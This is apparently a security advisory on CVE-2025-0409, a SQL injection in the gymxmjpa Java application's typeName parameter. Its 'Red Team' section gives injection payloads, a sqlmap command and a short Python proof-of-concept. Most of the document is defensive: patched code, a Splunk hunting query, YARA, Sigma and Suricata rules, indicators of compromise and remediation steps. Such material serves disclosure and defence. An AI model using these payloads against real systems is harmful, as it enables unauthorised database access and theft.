CVE-2025-0409

Executive Summary

CVE-2025-0409 is a critical SQL injection vulnerability discovered in the liujianview gymxmjpa application, version 1.0. The flaw resides in the MembertypeDaoImpl class within the MembertypeController.java file. By manipulating the typeName argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or complete database compromise. The exploit has been publicly disclosed, and no official patch is currently available. This vulnerability is classified as critical due to its low attack complexity and high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone Java application (gymxmjpa) developed by liujianview. The risk is primarily to organizations that have deployed this application internally or exposed it to the internet.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access is possible.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the MembertypeDaoImpl class, which is used by the MembertypeController to handle member type operations. The typeName parameter is directly concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path:

1. The MembertypeController receives an HTTP request with a typeName parameter.
2. The controller calls a method in MembertypeDaoImpl to query the database.
3. The typeName value is embedded directly into a SQL statement, e.g., SELECT * FROM membertype WHERE typeName = ' + typeName + '.
4. An attacker can inject SQL metacharacters (e.g., single quote ') to break out of the string context and execute arbitrary SQL.

Example Injection:

• Input: ' OR '1'='1
• Resulting Query: SELECT * FROM membertype WHERE typeName = '' OR '1'='1'
• This returns all rows from the membertype table.

Impact:

• Data Exfiltration: Use UNION-based injection to extract data from other tables.
• Authentication Bypass: Manipulate queries to bypass login checks.
• Database Takeover: Execute xp_cmdshell (if SQL Server) or write webshells (if MySQL with INTO OUTFILE).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// MembertypeDaoImpl.java
public List<Membertype> findByTypeName(String typeName) {
    String sql = "SELECT * FROM membertype WHERE typeName = '" + typeName + "'";
    // Execute query
}

Patched Code (Conceptual):

// MembertypeDaoImpl.java (Patched)
public List<Membertype> findByTypeName(String typeName) {
    String sql = "SELECT * FROM membertype WHERE typeName = ?";
    // Use prepared statement with parameterized query
    PreparedStatement ps = connection.prepareStatement(sql);
    ps.setString(1, typeName);
    // Execute query
}

Key Difference: The patched version uses a parameterized query (?) and PreparedStatement.setString(), which ensures the input is treated as data, not executable code. The vulnerable version concatenates user input directly into the SQL string.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running liujianview gymxmjpa 1.0 with the vulnerable endpoint exposed.
• Knowledge of the endpoint URL (e.g., /membertype/list or similar).

Exploit Steps:

1. Identify the vulnerable parameter: The typeName parameter in the MembertypeController.
2. Craft injection payload: Use a simple test to confirm SQLi.

   GET /membertype/list?typeName=test' HTTP/1.1
   Host: target.com
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.
3. Extract database information:

   GET /membertype/list?typeName=' UNION SELECT 1,@@version,3,4-- HTTP/1.1
   Host: target.com
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/membertype/list?typeName=test" --batch --dbs
   

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target.com/membertype/list"
payload = "' UNION SELECT 1,@@version,3,4--"
params = {"typeName": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP logs for suspicious typeName parameters containing SQL metacharacters (', ", --, ;).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Enable database query logging to identify anomalous queries.
4. Isolate the application if it cannot be patched immediately.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/membertype/list" AND uri_query=*typeName=*
| regex uri_query="(?i)(select|union|insert|delete|drop|'|--|;|exec)"
| table _time, clientip, uri_query, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /membertype/list with typeName containing SQL keywords (SELECT, UNION, INSERT, etc.).
  • Outbound database connections from the application server to unusual IPs (data exfiltration).
• File IOCs:
  • Unexpected files in the web root (e.g., .jsp or .php webshells).
  • Modified application logs showing SQL errors.
• System IOCs:
  • Unusual database processes or queries.
  • New user accounts created in the database.

Detection Engineering

YARA Rule

rule CVE_2025_0409_SQLi_TypeName {
    meta:
        description = "Detects SQL injection attempts targeting the typeName parameter in gymxmjpa"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0409"
    strings:
        $sqli_pattern1 = /typeName=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /typeName=.*\b(exec|xp_cmdshell|sp_executesql)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0409 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against the typeName parameter in gymxmjpa
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/membertype/list"
        cs-uri-query|contains: "typeName="
    keywords:
        - "' OR"
        - "' AND"
        - " UNION"
        - " SELECT"
        - " INSERT"
        - " DROP"
        - " --"
        - " #"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in type names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0409 SQL Injection Attempt"; flow:to_server,established; content:"/membertype/list"; http_uri; content:"typeName="; http_uri; pcre:"/typeName=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply a virtual patch using a WAF to block SQL injection patterns.
3. Review and sanitize all user inputs in the MembertypeController and MembertypeDaoImpl.

Long-Term Fix:

• Replace string concatenation with parameterized queries (PreparedStatement) in all DAO classes.
• Implement input validation to allow only alphanumeric characters for typeName.
• Conduct a full security audit of the application for similar vulnerabilities.

Patch Status: No official patch is available. The vendor (liujianview) has not released a fix. Organizations using this software should consider replacing it with a maintained alternative.

Valters IT – DevSecOps & Cyber Threat Intelligence